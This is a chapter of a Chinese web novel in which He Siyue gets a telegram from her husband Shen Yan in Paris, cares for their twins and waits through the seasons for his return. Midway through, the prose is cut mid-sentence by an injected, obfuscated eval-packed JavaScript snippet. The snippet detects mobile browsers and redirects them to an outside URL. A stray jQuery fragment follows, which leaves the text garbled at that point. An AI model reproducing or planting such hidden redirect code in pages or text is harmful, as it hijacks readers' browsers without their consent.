57. 第 57 章
作品:《岁岁何晏》 收到沈晏消息的那一刻,何思玥流下了泪水,悬着的心终于放下了。
那封电报来得突兀,却又像是久旱后的甘霖。
是通过杨石泽转交的,只有寥寥数语,且经过明显的审查删减,地址是巴黎某家酒店,落款只有一个简单的“晏”字。
内容更是精简到极致:“安。暂脱困,住代表团酒店,可有限通信。勿念,保重自身与孩儿。归期未定,然心已飞渡重洋。”
字迹是沈晏的,有些匆忙,但那份熟悉的劲道还在。
当杨石泽将这张薄薄的、带着辗转痕迹的电报纸递给何思玥时,她正抱着刚吃饱奶、在她怀里咿呀出声的儿子,在窗边轻轻摇晃。
目光触及那熟悉的字迹和“安”字的刹那,何思玥的呼吸停滞了一瞬。
随即,巨大的、几乎令她眩晕的喜悦与酸楚冲垮了连日来强行筑起的心防。眼泪毫无征兆地奔涌而出,大颗大颗地砸落在怀中婴儿柔软的脸颊上。
小家伙被温热的泪水惊动,不满地扭动了一下,发出细弱的哼唧声。
“嫂子!”一旁的沈希希吓了一跳,连忙上前,看清电报内容后,也瞬间红了眼眶,却是欢喜的,“是哥哥!哥哥有消息了!他说他暂时安全了!”
周晓芸也凑过来,看着电报,长长舒了一口气:“太好了!总算有信儿了!思玥,这是好事,别哭啊!”
何思玥说不出话,只是用力点头,泪水却流得更凶。
她将电报紧紧贴在胸口,另一只手将儿子搂得更紧,仿佛要将这份迟来的平安讯息,同时也传递给这个小生命。
悬了数月的心,终于在确认他“安”的那一刻,沉沉落地。
尽管“暂脱困”、“归期未定”这些字眼提醒着危机远未解除,但至少,他还活着,他脱离了最危险的囚禁,他有机会传递出消息。这已经足够让她在无尽的黑暗中,看到一线真切的天光。
“杨先生还说,”沈希希擦着眼泪,补充道,“哥哥他们好像是被上面重新调查了,情况可能有好转。虽然还不能自由行动,但总比之前音信全无、生死不知强。”
何思玥终于平复了一些情绪,她小心翼翼地擦去儿子脸上的泪痕,又仔细将那张电报抚平,看了又看。
每一个字,她都反复咀嚼。
“可有限通信。”这意味着,她或许可以试着给他回信了?哪怕只是只言片语,报个平安,告诉他孩子很好。
“归期未定,然心已飞渡重洋。”她的心,何尝不是早已飞越重洋,系于他身?
“晓芸,希希,”何思玥抬起头,尽管眼睛红肿,脸上却露出了数月来第一个真正舒心的、带着泪光的笑容,
何思玥将睡着的儿子轻轻放在摇篮里,走到书桌前。
窗外,已是初秋,梧桐叶开始泛黄。
她的心境,却仿佛从严冬骤然步入了蕴藏着生机的早春,期待着沈晏早日回国。
日子一天一天地过着。
何思玥和沈晏一对龙凤胎一日看着比一日大,她是不是的会看向门口,看他会不会突然出现在路口。
日子果真在希望与期盼中,变得不那么难熬了。
龙凤胎——哥哥先出生片刻,取名沈怀安,妹妹紧随其后,取名沈念玥。名字是何思玥取的,怀着最朴素的愿望:怀佑平安,念君早归。
两个孩子继承了父母的好样貌,眉眼间能看出沈晏的轮廓,又带着何思玥的柔和。
他们一日一个样,从襁褓里红彤彤的小肉团,渐渐长开,皮肤变得白皙,眼睛又黑又亮,像浸在水银里的黑葡萄。
哥哥怀安性子似乎沉稳些,饿了或是不舒服了,也只是吭哧几声;妹妹念玥则活泼许多,舞动小手脚,咿咿呀呀的声音也格外响亮。
有了两个鲜活的小生命在身边,这处临时避难所里充满了前所未有的生气与忙碌。
哭声、笑声、牙牙学语声,冲淡了所有阴霾。
周晓芸和沈希希彻底化身成了“孩子奴”,抢着抱,抢着哄,连吴妈脸上都多了许多笑容。
何思玥的身体在周晓芸的精心照料下恢复得很快。
她坚持自己哺乳,亲自照料两个孩子的大部分起居,虽然辛苦,却甘之如饴。
看着孩子们在自己怀里安然吮吸,看着他们无意识地抓住她的手指,看着他们睡梦中绽开的天使般的微笑,所有的疲惫与担忧仿佛都能被抚平。
她依然每天会抽时间走到窗边,望着楼下那条僻静的小路。
梧桐叶从金黄到凋零,最后只剩下光秃秃的枝桠指向灰白的天空。
、
她的目光,总是不由自主地投向路口,仿佛下一刻,那个熟悉的身影就会披着风尘,大步流星地出现。
她知道这希望有些渺茫。
沈晏后来的几封简短来信提到,他们虽脱离了软禁,但仍处于严密监控下,行动受限,参与核心谈判的机会很少,主要工作变成了整理资料和撰写报告。
巴黎的冬天阴冷漫长,谈判桌上依旧僵持,国内舆论对他的攻击也并未完全平息,只是从明目张胆的污蔑,变成了更隐蔽的掣肘和排挤。
归期,依旧遥遥。
但何思玥不再像最初那样焦灼不安。
沈晏的平安信是她的定心丸,两个嗷嗷待哺的孩子是她的责任和动力。她将思念深藏心底,把日子过得充实而有条理。
除了照顾孩子,她开始重新阅读医学书籍,整理以前的病例笔记,甚至通过杨石泽,悄悄关注着医院和药行的情况。
杨石泽告诉她,沈家药行在她的授意和沈老爷子坐镇下,顶住了压力,虽然生意受影响,但根基未动。
医院那边,陆医生等人也竭力维持,救治了不少伤兵和难民。
那些企图用鸦片生意拉沈家下水的人,见无机可乘,又忌惮杨石泽的手段,暂时偃旗息鼓,但暗流依旧涌动。
“思玥,你现在是沈家的主心骨。”杨石泽有一次来看她和孩子,郑重地说,“沈晏不在,你要稳住。两个孩子,老爷子,还有沈家的产业,都在看着你。”
何思玥明白他的意思。她不仅仅是沈晏的妻子,两个孩子的母亲,在沈晏缺席的这段时间里,她也必须成为这个家的支柱。
她开始更频繁地与杨石泽商量事情,学习处理一些简单的账目和人情往来。
她也会定期给沈老爷子写信,汇报孩子的情况和自己的近况,让老人家安心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146067|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她甚至开始留意时局,分析报纸上的信息,尝试理解沈晏在巴黎可能面临的复杂局面。
她的眼神,在经历了丧亲之痛、离别之苦、生育之艰后,沉淀出一种更加内敛而坚韧的光芒。
那不再是少女时代不谙世事的清澈,也不是新婚时依赖丈夫的柔软,而是一种经历了风雨洗礼后,知道自己要守护什么、并能为之扛起责任的沉静力量。
孩子们满百日那天,何思玥抱着他们,在窗边站了许久。怀安在她怀里睡得香甜,念玥则睁着乌溜溜的大眼睛,好奇地看着窗外飘落的零星雪花。
“宝宝们,”何思玥轻声说,声音温柔而坚定,“今天你们一百天了。爸爸虽然没能陪在身边,但他一定在想着你们。你们要乖乖长大,等爸爸回来,让他看看,你们有多可爱,多健康。”
她抬头,再次望向那个空无一人的路口。雪花静静飘落,将路面染成浅浅的白色。
她知道,沈晏的归途依然布满荆棘,他们的重逢之日还需耐心等待。
但此刻,怀抱着两个温暖的、属于他们爱情与希望的小生命,她心中充满了前所未有的勇气与信心。
冬天已经来了,春天还会远吗?
她相信,无论还要等多久,那条路的尽头,终会传来他归来的脚步声。而她和孩子们,会一直在这里,守着这个家,等他回来。
春风似乎一夜之间就暖了上海。
门外的梧桐树,昨日还只是枝头鼓着些灰褐色的芽苞,今晨推开窗,便已见点点鹅黄嫩绿怯生生地探出头来,在微风中轻轻颤动。
阳光透过新生的、尚且稀疏的叶片,洒在窗台上,一片斑驳晃动的暖意。
何思玥抱着刚刚睡醒、正挥舞着小拳头的念玥,站在窗边。
怀安被周晓芸抱着,也在咿咿呀呀地试图抓住沈希希递过来的一只布老虎。
两个孩子已经半岁多了,白白胖胖,越发可爱。怀安安静些,大眼睛总是好奇地观察着周围;念玥则是个小机灵鬼,稍不如意就瘪嘴要哭,一逗又咯咯笑开,成了所有人的开心果。
“春天了。”何思玥轻声说,低头用鼻尖蹭了蹭女儿嫩滑的脸颊。小家伙以为母亲在逗她,挥舞着手臂,发出含糊的“啊、哦”声,咧开没牙的小嘴笑了。
周晓芸走过来,也望向窗外那抹新绿,感慨道:“是啊,又是一年春天。时间过得真快,孩子们都会坐了。”
沈希希放下布老虎,凑到窗边,眼神里带着期盼:“嫂子,春天了,哥哥……是不是也快回来了?”
这个问题,她们每个人都想过无数遍,却从不敢轻易说出口,怕希望落空,更怕说多了不吉利。
但此刻,看着窗外勃勃的生机,沈希希还是忍不住问了出来。
何思玥没有立刻回答。
她望向那条依旧安静的小路,目光似乎想穿透初春的薄雾,看到更远的地方。
沈晏最近的一封信,还是一个月前收到的,依旧简短,只说巴黎的谈判进入了更微妙的阶段,各方角力激烈,他们这些“边缘人”反而有了一些观察和思考的空间。
信末,他第一次明确地问起了孩子们:“吾儿吾女,可还安好?甚念。”

